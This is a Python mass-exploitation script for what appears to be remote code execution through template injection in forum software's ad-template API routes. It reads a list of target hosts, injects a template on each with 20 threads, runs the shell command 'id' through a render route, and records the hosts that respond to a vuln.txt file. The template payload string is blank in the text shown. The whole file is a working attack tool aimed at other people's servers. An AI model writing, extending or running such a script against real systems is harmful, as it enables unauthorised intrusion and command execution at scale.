import requests from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor import urllib3 urllib3.disable_warnings() HEADERS = { "User-Agent": "Mozilla/5.0 (Exploit)", "Content-Type": "application/x-www-form-urlencoded" } COMMAND = "id" EXPECTED_OUTPUT = "uid=" THREADS = 20 TEMPLATE_PAYLOAD = { "routestring": "ajax/api/ad/replaceAdTemplate", "styleid": "1", "location": "rce", "template": ' ' } EXEC_ROUTE = "ajax/render/ad_rce" TARGET_FILE = "targets.txt" OUTPUT_FILE = "vuln.txt" with open(TARGET_FILE, "r") as f: targets = [line.strip() for line in f if line.strip()] def normalize_url(url): if not url.startswith("http://") and not url.startswith("https://"): return "http://" + url return url.rstrip("/") def setup_template(url): try: resp = requests.post(url, headers=HEADERS, data=TEMPLATE_PAYLOAD, timeout=10, verify=False) return resp.text.strip() == "null" except Exception as e: print(f"[x] Template setup failed for {url}: {e}") return False def execute_command(url, cmd): try: payload = { "routestring": EXEC_ROUTE, "cmd": cmd } resp = requests.post(url, headers=HEADERS, data=payload, timeout=10, verify=False) if resp.status_code == 200: output = resp.text.split('{"template":')[0].strip() return output return None except Exception as e: print(f"[x] Command failed for {url}: {e}") return None def test_target(domain): base = normalize_url(domain) print(f"[•] Testing {base}") if not setup_template(base): print(f"[-] {base} is not exploitable (template injection failed)") return output = execute_command(base, COMMAND) if output and EXPECTED_OUTPUT in output: print(f"[+] {base} is VULNERABLE! Output: {output}") with open(OUTPUT_FILE, "a") as f: f.write(f"{base} | {output}\n") else: print(f"[-] {base} not vulnerable or invalid output") def main(): print(f"[•] Loaded {len(targets)} targets. Launching with {THREADS} threads...\n") with ThreadPoolExecutor(max_workers=THREADS) as executor: executor.map(test_target, targets) if __name__ == "__main__": main()